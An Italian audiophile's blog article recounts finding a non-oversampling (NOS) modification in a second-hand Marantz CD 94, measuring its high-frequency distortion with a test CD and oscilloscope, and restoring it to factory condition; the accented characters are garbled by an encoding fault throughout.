Le modifiche ai lettori CD
Migliorare la capacitA� di riproduzione del proprio impianto hi-fi A? una delle principali attivitA� svolte dalla��audiofilo medio. Non passa un istante senza che, a seguito di un dubbio che lo assale o magari di un ascolto a casa di un amico, egli non si senta completamente soddisfatto del suono che fuoriesce dai propri diffusori. Di conseguenza, trascorre buona parte del suo tempo sostituendo oppure, modificando (A? il caso di cui ci occuperemo) i componenti della��impianto (sorgente, amplificazione, casse, cavi, punte, sottopunte, ecc.), dimenticandosi completamente che il 95% delle volte in cui esso suona male, escludendo malfunzionamenti alle apparecchiature, la responsabilitA� A? dei diffusori e da come questi vengono posizionati in ambiente rispetto al punto di ascolto prescelto.
Voglio precisare sin dalla��inizio che, essendo una��esperienza vissuta direttamente dal sottoscritto, non vuole essere in alcun modo un monito contro coloro che hanno la possibilitA� di cambiare spesso le apparecchiature come se fossero figurine (beati loro!), nA� tantomeno chi, in piena fiducia e per sentito dire, fa modificare la propria apparecchiatura nella speranza che questa migliori drammaticamente le prestazioni di tutto il sistema. In veritA�, esistono situazioni particolari per cui le modifiche potrebbero avere un senso, ma non A? il caso di quello che vi sto per raccontare.
Qualche mese fa, a seguito di alcuni problemi al gruppo lenti del pick-up laser del mio lettore CD (un vecchio Marantz CD-75 II del 1989), cominciai la ricerca di un valido sostituto da poter inserire nel mio impianto hi-fi, principalmente composto da componenti a�?vintagea�? (un esempio su tutti: le ESB 7/06). Inizialmente ero intenzionato a cercare una buona meccanica di lettura, ma poi, complice la��offerta allettante, ho trovato in mezzo agli annunci online qualcosa che per molti di noi appassionati storici viene ancora considerato un a�?best-sellera�?: il Marantz CD 94. Non mi soffermerA? qui a descrivervi le caratteristiche (chi ce la��ha, puA? leggere la recensione su Audio Review n. 62), ci basta solo sapere che per diversi anni A? stato impiegato come lettore di riferimento nelle prove di ascolto di diverse riviste del settore (Audio Review in primis).
Acquistato senza indugi (viste le foto ricevute dal venditore, lo consideravo in ottime condizioni), al momento della��arrivo a casa mia e senza pensarci due volte, la��ho collegato al resto della��impianto per vedere come andava. La macchina si A? accesa senza problemi mostrandomi un display e le spie di play/replay e di pausa/stop perfettamente funzionanti. Scelgo un CD che conosco bene e inizio ad ascoltare. Che strano, non ricordo che il brano suonasse in questo modo, la gamma media e alta sembrano diverse, piA? cupe, con sibilanti quasi a�?analogicizzatea�?. I brani successivi, ascoltati da diversi CD, non fanno altro che confermare questa mia sensazione.
Siccome non si vive solo di esse (qualche misura bisogna pur farlaa��), metto su il CD test (la��Audio Review Technical CD), seleziono la traccia col rumore rosa, guardo la��analizzatore di spettro del mio equalizzatore e mi accorgo che le bande a frequenza piA? alta (soprattutto quelle a 8 e 16 kHz) fluttuano in maniera molto vistosa!
A questo punto devo saperne di piA?: accendo la��oscilloscopio e inizio una sessione di prove che ricordano un poa�� alla lontana quelle eseguite dalle varie riviste. In particolare, il CD test a mia disposizione possiede onde sinusoidali a varie frequenze e livelli, la��onda quadra a 100 Hz e la��impulso per la risposta indiciale.
Inizio dunque con le sinusoidi a varie frequenze. Noto subito che, a mano a mano che esse salgono in frequenza, succede qualcosa di strano: le onde diventano sempre piA? instabili e distorte (vedi Figg. 1.1-1.3, per comoditA� rappresento solo il canale sinistro, il destro A? identico).
Ea�� guasto questo Marantz CD 94?
Vediamoa��
Decido di rilevare la risposta indiciale (che da sola potrebbe dirmi tante cosea��) e qui la sorpresa A? maggiore: nessuna sovraoscillazione smorzata, nA� prima nA� dopo la��impulso (fig. 2).
Incredibile, sembra un impulso ideale! Neanche il tempo di riflettere che un forte dubbio mi assale: avranno fatto la modifica NOS (Non OverSampling)? Spengo tutto e apro il lettore CD, smonto la scheda del circuito di sovracampionamento/filtro digitale e bingo! Ecco la scena che mi trovo davanti: una serie di fili grigi deviati dal loro connettore originario e un ponticello fatto con un cavetto azzurro (Fig. 3).
La modifica NOS A? una pratica tuttora impiegata sui lettori CD di annata (principalmente quelli con tecnologia Philips a sovracampionamento quadruplo a 14 o 16 bit) e serve a migliorarne (?) la qualitA� sonora, rendendola piA? simile ad una a�?sorgente analogicaa�? (il giradischi in particolare). Internet A? pieno di riferimenti (al momento risultano piA? di 430.000 risultati secondo Google, digitando a�?No Oversampling CDa�?) e molti forum (compresi alcuni italiani) hanno al loro interno almeno un thread dedicato alla��argomento.
Non sto qui a spiegarvi tutta la teoria del campionamento nA� quello che succede quando si elimina il filtro digitale da un circuito in cui A? previsto che ci sia (non A? lo scopo di questo articolo), ma semplicemente voglio avvisarvi che chi effettua (o fa effettuare) questa modifica non si rende conto di aver peggiorato (se non danneggiato irrimediabilmente) le condizioni di funzionamento del suo amato lettore CD facendogli generare dei suoni pieni di distorsione alle alte frequenze che ricordano molto, ma molto da vicino, il mistracking di un giradischi non perfettamente messo a punto, magari mentre la testina traccia i solchi piA? interni di un LP con un peso insufficiente.
Questa non A? certamente hi-fi, almeno per come la intendo io.
Ripresomi dallo choc, e procuratomi un manuale di servizio, A? cominciata la delicata operazione di ripristino (la guaina di protezione dei fili si A? un poa�� indurita col tempo). I risultati finali si vedono nelle figure seguenti (4.1-4.4).
Come potete vedere, tutto A? tornato alla normalitA� (basta confrontare, ad esempio, la risposta indiciale con quella pubblicata su AR n. 62, per rendersene subito conto), compreso il suono di stampo Philips tipico della��epoca.
Enzo Messina
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